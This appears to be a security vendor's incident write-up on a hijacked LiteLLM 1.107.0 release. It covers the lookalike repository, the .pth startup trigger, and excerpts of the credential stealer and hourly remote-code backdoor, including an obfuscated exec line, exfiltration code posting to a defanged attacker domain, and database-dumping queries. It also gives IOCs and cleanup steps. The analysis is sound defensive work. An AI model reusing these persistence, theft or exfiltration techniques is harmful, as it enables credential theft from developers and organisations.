litellm-1-card_light

LiteLLM 1.107.0 Supply Chain Attack: How a Hijacked Release Pipeline Signed Malicious Code

Lidor Machluf October 26, 2026

LiteLLM 1.107.0 Supply Chain Attack: How a Hijacked Release Pipeline Signed Malicious Code

Book A Demo
See how Upwind uses runtime context to turn cloud security fingdings into real-time protection.
Book a Demo

TL;DR

On October 21, 2026, Upwind identified a supply chain compromise in LiteLLM, the popular open-source AI gateway, with ~22.8 million weekly PyPI downloads. Version 1.107.0 was published to PyPI and to Docker Hub/GHCR containing a credential stealer and a remote code loader.

We were the first to report it publicly, in BerriAI/litellm#47826 and on X, 27 minutes after the upload. We published our initial analysis while 1.107.0 was still on PyPI, and BerriAI’s incident report credits us with helping detect it.

This post adds what we have learned since: the lookalike repository the release was built from, the infected Docker images, and the full IOCs. PyPI removed the release less than two hours after it went live, and BerriAI took down the Docker images shortly after.

The attacker didn’t steal a PyPI token and didn’t commit to the real repository. They pointed LiteLLM’s own release pipeline at a lookalike GitHub repository, Berri-AI/litellm instead of BerriAI/litellm, and let it build, sign and publish the poisoned release. The real git tag stayed clean.

The malware runs on every Python start once installed. No import litellm is needed. It collects:

  • Cloud credentials, including live IAM role tokens from the cloud metadata service, which it validates with AWS STS before sending
  • Every LLM provider API key stored in the LiteLLM proxy database, using a module written specifically for LiteLLM.
  • The environment variables of every process on the machine
  • SSH, GPG and TLS private keys
  • Git, npm, PyPI, Docker and Kubernetes credentials
  • Browser passwords and cookies
  • Credentials for AI coding tools (Claude, Codex, Gemini, Cursor, Copilot)

Everything is encrypted with a key only the attacker holds and sent to litellm[.]dev, a domain registered eight days before the attack. A second component installs an hourly backdoor that downloads and runs code chosen by the attacker. It was never armed.

Affected artifacts and safe pins:

ArtifactMaliciousExposure window (UTC, Oct 21)Safe pin
PyPI litellm1.107.0 (all 7 wheels)11:39 – 13:231.106.2
docker.io/litellm/litellmv1.107.0, latest, main-latest, main-stable11:46 – 14:20v1.106.2
ghcr.io/berriai/litellm{,-database,-non_root}v1.107.0, latest, main-latest, main-stable11:46 – 13:51v1.106.2

Not affected: BerriAI’s private enterprise registry, and conda-forge (which never shipped 1.107.0; its feedstock was archived as a precaution).

Full technical disclosure: BerriAI/litellm#47826. BerriAI’s incident report: docs.litellm.ai. OSV: MAL-2026-2144.

How is this attack different?

No stolen publishing token. The attacker used stolen GitHub accounts to run LiteLLM’s real, private release workflow. The workflow signed and published the artifacts itself, exactly as it would for a legitimate release.

One hyphen. The release workflow was repointed from BerriAI/litellm to Berri-AI/litellm. The git tag v1.107.0 never contained malicious code; only what was built did. Anyone auditing the source on GitHub would have found nothing.

No install hook. There’s no setup.py trick or post-install script. The payload is a .pth file, a little-known Python feature that runs code every time the interpreter starts. Scanners that only look at install scripts see nothing.

It targets the AI gateway itself. LiteLLM sits in front of OpenAI, Anthropic, Bedrock, Azure and dozens of other providers, and stores their API keys. The stealer has a dedicated module that connects to LiteLLM’s own database and dumps the credentials table. One infected proxy can leak the keys to every model provider an organization uses.

Timeline

Time (UTC)Event
Oct 13, 00:45litellm[.]dev registered
Oct 13, 06:43GitHub account letters9813 created
Oct 18 – 20Attacker tests the backdoor’s control file: localhost:18909 →then test.test.com:18909 → then emptied
Oct 21, 08:56 – 10:4610 commits pushed to the lookalike repo Berri-AI/litellm
Oct 21, 10:51LiteLLM’s private release workflow runs, pointed at the lookalike repo
Oct 21, 11:21Wheels built
Oct 21, 11:39litellm==1.107.0** published to PyPI**
Oct 21, 11:46Infected Docker images pushed, including latest
Oct 21, 12:06Upwind opens #47826 with the decoded payload and IOCs
Oct 21, 12:57Upwind adds that the Docker images are infected and traces the build to the lookalike repo
Oct 21, 13:23PyPI removes 1.107.0
Oct 21, 13:50BerriAI declares SEV-0
Oct 21, 14:20Last infected Docker tag removed
Oct 21, 16:32BerriAI traces the release to three engineers’ stolen GitHub CLI tokens, revokes them and removes all but one user from the GitHub org
Oct 21, 18:30BerriAI publishes its incident report. Registries locked and regular releases paused
Oct 21, 21:22BerriAI publishes the attack chain

The attacker’s infrastructure was ready eight days before the release.

How did the attacker get in?

The release was built from code that never existed in the real repo

When we compared the 1.107.0 wheel against GitHub, the code didn’t match the v1.107.0 tag. Instead, it was byte-identical (3,131 of 3,131 files) to a8113b0d, a legitimate commit on main from 08:50 that morning. That commit is one step after the tag.

As a baseline, we checked the previous legitimate releases. The 1.106.0 and 1.106.2 wheels match their own tags exactly. Something had changed in how 1.107.0 was built.

The answer was in the provenance attached to the Docker images. It names LiteLLM’s private project-releaser workflow as the builder, and the source as:

https://github.com/Berri-AI/litellm   ← lookalike (hyphenated)
https://github.com/BerriAI/litellm    ← real (used for every previous release)

Ten commits, written in GitHub’s web editor

The lookalike repo was a fork of the real one. The attacker added 10 commits on top of a8113b0d. Because forks share storage with their parent, these commits are still viewable through the real repository even though Berri-AI has since been deleted (full diff):

TimeCommit messageWhat it actually did
08:56Add import statementAdded cook.pth
08:57Change greetingAdded cook.py, the stealer
08:58AddAdded sitecustomize.py, the backdoor
09:05 – 09:06chore: set litellm version to 1.107.0 (+3 similar)Made the version numbers look like a normal release
09:45Update print statementUpdated the backdoor
09:48Add**Added data = "cook" to **pyproject.toml
10:46fix(docker): copy cook data into the rust-native stageAdded the payload to the Docker images

The messages “Add import statement”, “Change greeting” and “Update print statement” are GitHub’s web-editor defaults. The commits were authored as Berri-AI <[email protected]>.

The one line that did it

LiteLLM’s wheels are built with maturin, a Rust/Python build tool. maturin supports a data setting that copies a folder’s contents into the installed package. The attacker added a single line:

[tool.maturin]

 manifest-path = "litellm-rust/crates/python-bridge/Cargo.toml"

 module-name = "litellm.rust_bridge._native"

 python-source = "."

+data = "cook"

 python-packages = ["litellm_cli"]

Anything in cook/purelib/ now lands directly in the user’s site-packages folder when they run pip install. Nothing else in the build looks unusual. The build tool version, timing and signing all match earlier releases, because it was the real pipeline.

Where the tokens came from

According to BerriAI’s investigation:

  • BerriAI’s internal LiteLLM deployment was exposed to the internet and contained an unexpected user account. They suspect the attacker got in through a recently patched vulnerability.
  • That deployment’s logs contained engineers’ GitHub CLI OAuth tokens. BerriAI says AI coding assistant responses sometimes included these tokens, and the proxy logged the response bodies.
  • The attacker used tokens from three engineers. One belonged to an organization owner, which let them disable branch protection and change the release workflow so it accepted a different source repository.
  • They then ran the workflow, pointed it at Berri-AI/litellm, and approved it from a second engineer’s account.

LiteLLM’s own logs leaked the tokens used to poison LiteLLM.

This is LiteLLM’s second release compromise this year. After the first, in March, BerriAI moved releases to a private repository, made Docker tags immutable and started signing images. Those controls held, until an owner-level token let the attacker switch them off. As of October 22, BerriAI says it has not confirmed how the internal deployment was first accessed, and its registries remain locked to new releases.

What is in the malicious package? 

Every 1.107.0 wheel, on every platform, contains three extra files that install into site-packages:

cook.pth             12 bytes

cook.py          22,252 bytes

sitecustomize.py 25,509 bytes

(The Windows wheel carries the same files with Windows line endings, so their sizes and hashes differ slightly.)

cook.pth: the trigger

import cook

That’s the whole file. Python automatically processes every .pth file in site-packages at startup, and any line beginning with import is executed. So every Python process on the machine now imports cook: your app, your tests, a Jupyter kernel, even pip itself.

cook.py: the stealer, wrapped once

import zlib as _3659944d,base64 as _35100b45;exec(_3659944d.decompress(_35100b45.b64decode('eNrdfWt327q...')))

One line: base64, then zlib, then exec. We decoded it statically without running it. Inside is a 1,237-line Python program that calls itself privcollect:

PC_URL   = 'hxxp://www.litellm[.]dev/healthcheck'
PC_TOKEN = 'XWiA8gZNa7NcX2XRoAEb'
PC_MODULES = ['sysinfo', 'netinfo', 'browser_pw', 'browser_hist', 'ssh_keys',
              'shell_hist', 'cloud_creds', 'dev_secrets', 'container_creds',
              'cicd_secrets', 'ai_devtools', 'env_vars', 'db_litellm',
              'cloud_metadata', 'gpg_keys', 'tls_privkey']
PC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb'
PC_ASYNC = True

It runs in a background thread, so the host program starts normally and nothing looks wrong.

sitecustomize.py: the backdoor

sitecustomize is another Python startup hook. The attacker’s version forks a hidden background process and loops forever:

GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"
CODE_PATH = "/codepy"
LOOP_INTERVAL = 3600
LOCK_FILE = "/tmp/remote_code_loader.lock"

async def run():
    text = await fetch_text(GITHUB_RAW_URL)        # 1. ask GitHub where the server is
    domain = next(...)
    if not domain:
        return                                      #    (empty file = do nothing)
    await resolve_domain(domain)
    exec(zlib.decompress(base64.b64decode('...')))  # 2. run the stealer again
    code = await fetch_text("http://{}{}".format(domain, CODE_PATH))
    await exec_code(code)                           # 3. download and run anything

Every hour it reads a text file on GitHub. If the file holds a server address, it steals everything again and then downloads and executes whatever code that server returns.

What does it steal?

Each of the 16 modules targets a category of secrets:

CategoryWhat it takes
Cloud~/.aws, ~/.azure, gcloud and kubeconfig files; live IAM role credentials from AWS, GCP and Azure metadata services; ECS task credentials
LiteLLM proxyIf DATABASE_URL is set: the full LiteLLM_CredentialsTable and LiteLLM_ProxyModelTable, i.e. every stored provider API key
EnvironmentVariables of every readable process on Linux, via /proc/*/environ
KeysAll of ~/.ssh, GPG private keys, TLS keys from /etc/ssl/private and Let’s Encrypt
Developer.git-credentials, .npmrc, .pypirc, Maven, Gradle, Cargo, .env files, *.pem/*.key files
CI/CD and containersKubernetes service-account tokens, Docker secrets, GitLab runner config, Jenkins master key, Vault and Terraform tokens
AI toolsClaude, Codex, Gemini and Qwen credentials, plus Cursor, Windsurf, Kiro and VS Code MCP configs and Hugging Face tokens
BrowsersSaved passwords (decrypted on Windows and Linux), cookies, history, Firefox key databases
ReconHostname, OS, network interfaces, routes, listening ports, shell history

The LiteLLM-specific module

This is the part written for this target. If the proxy has a database, the stealer launches a helper process that connects through LiteLLM’s own database client and runs:

creds  = await _q(db, 'SELECT "credential_name", "credential_values" '
                      'FROM "LiteLLM_CredentialsTable" LIMIT 500')
models = await _q(db, 'SELECT "model_name", "litellm_params" '
                      'FROM "LiteLLM_ProxyModelTable" LIMIT 500')

Afterwards it kills the database engine process it started, to avoid leaving traces.

It checks that the stolen cloud keys work

After grabbing AWS credentials, the stealer calls AWS STS GetCallerIdentity to confirm they’re valid and learn which account and role they belong to. If boto3 isn’t installed, it signs the request by hand:

r = c.get_caller_identity()
return {'arn': r.get('Arn'), 'account': r.get('Account'), 'user_id': r.get('UserId')}

The attacker knows which credentials work and who they belong to before using them.

How does the data leave?

Everything is packed into one JSON document, encrypted, and sent in a single request:

key, iv = (os.urandom(32), os.urandom(16))
ct = pc_aes_enc(key, iv, data)                     # AES-256 with a random key
kct, md = pc_rsa_enc(PC_PUBKEY.encode(), key)      # key locked with attacker's RSA-4096 public key
body = pc_pack(hdr, iv + ct, kct)
ok = pc_post(PC_URL, body, PC_TOKEN)               # POST to www.litellm[.]dev/healthcheck
  • Only the attacker can read it. Even with a full network capture, defenders can’t see what was stolen.
  • Lookalike destination. litellm[.]dev resembles the real litellm.ai. litellm.ai appears in 310 files across LiteLLM’s repository; litellm[.]dev appears in none.
  • Odd fingerprint. Requests use the user agent Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; ...), a 2006-era browser on a 2015 OS, plus a custom X-Token header. Both are easy to detect.
  • Proof of success. The marker file /tmp/.pc_once_72129118c59f5636c0bb is written only after a successful upload. If you find it, the data was stolen. If it’s missing, that doesn’t mean you’re safe: containers and tmp cleanup erase it. On Windows the /tmp path usually doesn’t exist, so the marker is never written and the stealer runs again on every Python start.

Was the backdoor ever used? 

The backdoor reads its target server from domain.txt in the attacker’s GitHub repo. That file’s full history:

DateContent
Oct 18localhost:18909
Oct 19test.test.com:18909
Oct 20, 09:15(emptied)

The attacker tested the loader and then emptied the file the day before the release. Through the whole exposure window, the remote-code stage did nothing. One commit would have activated it on every infected machine at once, but the account has since been removed. The backdoor only works on Linux and macOS, because it relies on fork, which Windows doesn’t have.

The stealer, though, didn’t need the backdoor. It runs from cook.pth with no external trigger.

Is this Shai-Hulud?

No. We searched the decoded payload for markers of the Shai-Hulud and Miasma worm families: campaign strings, GitHub dead-drop repos, workflow injection, npm or PyPI republishing, wipers and dead-man’s switches. None of them appear.

privcollect is a single-target infostealer: it collects once, encrypts, and sends to its own server. It doesn’t spread, doesn’t publish other packages, and doesn’t destroy data. Its config fields (PC_TARGET, PC_POINTS, PC_EXEC_B64) suggest a reusable stealer kit that gets a custom build per target. This build was tailored to LiteLLM.

Who is affected? 

  • litellm sees ~22.8M weekly PyPI downloads, and many AI frameworks and agent tools depend on it.
  • PyPI exposure lasted ~1 hour 44 minutes. Docker latest was infected for up to ~2.5 hours, and any deployment that auto-pulled latest in that window ran the stealer.
  • Because .pth runs on every Python start, any CI job, notebook or service that installed an unpinned litellm during the window is affected, not just LiteLLM proxy users.
  • Downstream projects started pinning away from 1.107.0 within hours (for example cisco-ai-defense/skill-scanner, GraflowAI/graflow and VectifyAI/PageIndex).

Indicators of Compromise

Packages and images

TypeValue
PyPIlitellm==1.107.0 (wheel manylinux x86_64 sha256 462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7; sdist 2befe2a79fb4fbbd9a543b5b40b530c8cffa8771bab22b8fb22b2e4ae3b1f819)
Docker indexlitellm/litellm sha256:1bbcb1443bc962e45f5aad53fe3d2c30600e0379715fb6c664cdd3ac126c339e
GHCR indexlitellm-database sha256:c00f9d92c427…, litellm-non_root sha256:7b00e91cd2fe…

Files

Filesha256 (Linux / macOS wheels)sha256 (Windows wheel, CRLF line endings)
site-packages/cook.pth7f191632e7320705d154b85204f1ae546b543acbd7e8861229b76f5042b92bdb84dc8c82c0a4a4a62552ef826b49fcc86d1a5c4a5d0f2c06665723f93d129d7d
site-packages/cook.py9dd0a3926f96a37eb86cf1ee2310d9be93139cc4ebef3ef9e2efe9531390be2503ac2a8b752605d1d7710979c17ff18b03dd978203ba23ba97fd8ce3d6f897ea
site-packages/sitecustomize.py34bef04fe88ac9d0aae0475630b1738681d15b94f233ac8aa46eacf5968305fab6122440d0d9cb1eb1ade9933f49214da8c31288de7710c076c2680dfa528465

Network

TypeValue
Exfil URLhxxp://www.litellm[.]dev/healthcheck (POST)
Exfil domainlitellm[.]dev (registered 2026-10-13, Cloudflare)
HTTP headerX-Token: XWiA8gZNa7NcX2XRoAEb
User agentMozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0)
Backdoor control filehttps://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt (account removed)
Backdoor payload pathhttp://<domain>/codepy

Host

TypeValue
Exfil-success marker/tmp/.pc_once_72129118c59f5636c0bb
Backdoor lock/tmp/remote_code_loader.lock
Environment variablePRIVCOLLECT_ACTIVE=1
Temp dirs/tmp/.pc_sq_*, /tmp/.pc_e_*
ProcessDetached python with working directory / and output sent to /dev/null

GitHub

TypeValue
Lookalike repogithub.com/Berri-AI/litellm (deleted)
Malicious commits9b98cd93, 51020100, 7f7f9892, 1a657baf, 74983c8e, 615e57ff, 6a4390f1, 91d6546f, 783c43bc, 20535d8f
Commit authorBerri-AI <[email protected]>
Backdoor accountletters9813 / [email protected] (deleted)

What should security teams do now? 

Check whether you were exposed:

pip show litellm 2>/dev/null | grep -i '^version'
find / -name 'cook.pth' -path '*site-packages*' 2>/dev/null
find / -name 'litellm-1.107.0.dist-info' 2>/dev/null
ls -la /tmp/.pc_once_72129118c59f5636c0bb /tmp/remote_code_loader.lock 2>/dev/null

Also check container runtimes for the image digest sha256:1bbcb144…, and check DNS and proxy logs for litellm[.]dev.

If you were exposed, clean up in this order:

  1. Don’t run pip first. Any Python start runs the malware again, including pip uninstall.
  2. Delete the files from the shell: cook.pth, cook.py, sitecustomize.py and their __pycache__ copies, in every affected site-packages.
  3. Kill the hidden background process holding /tmp/remote_code_loader.lock.
  4. Reinstall litellm==1.106.2, or better, rebuild the image or virtualenv from scratch.

Rotate, assuming everything reachable was stolen:

  • The cloud IAM role attached to the instance, pod or task
  • Every provider API key stored in your LiteLLM proxy, plus its master and virtual keys
  • The database password from DATABASE_URL
  • Every secret present in any process’s environment on the host
  • SSH keys, Git, registry, Kubernetes and CI/CD tokens

Then hunt in CloudTrail from 11:39 UTC on October 21 onward:

  • sts:GetCallerIdentity from your instance or task role, called from outside your infrastructure
  • Model invocations you don’t recognize, for example in Amazon Bedrock (LiteLLM users often have AI-provider access)
  • IAM or account enumeration by that role

Going forward:

  • Pin dependencies and Docker images by version or digest. Never auto-deploy latest.
  • Treat .pth files and sitecustomize.py inside site-packages as high-severity findings in package scanning.
  • If you run an LLM proxy, don’t log full request or response bodies. They carry whatever secrets flow through your AI tools, and in this incident that’s how the attacker got in.

How can Upwind help?

This attack shows why runtime visibility matters alongside static package scanning and source review.

The source code on GitHub was clean, and the malicious release was built and signed by the vendor’s own pipeline. Nothing ran at install time, every malicious step happened later, at runtime: code executing on every Python start, credential and secret collection, cloud metadata access, a hidden background process, and encrypted exfiltration to a lookalike domain.

Upwind detects suspicious process behavior, unusual access to credentials and secrets, and outbound connections to attacker infrastructure across cloud workloads, containers and CI/CD environments. By correlating runtime execution with network activity and credential access, Upwind helps security teams determine whether a malicious dependency was present or actually executed, and which credentials may have been exposed.

To learn more about how Upwind detects malicious dependencies at runtime, schedule a demo.

References

Demo the Upwind Platform

See how Upwind is reducing risk and strengthening cloud security for global enterprises.
Get a Demo
Contents
Add the Upwind RSS Feed to Slack
Connect the Upwind RSS Feed to your Slack.
Follow the how-to here.
Threat RSS
Add the Upwind RSS Feed to Slack
Connect the Upwind RSS Feed to your Slack.
Follow the how-to here.
Main RSS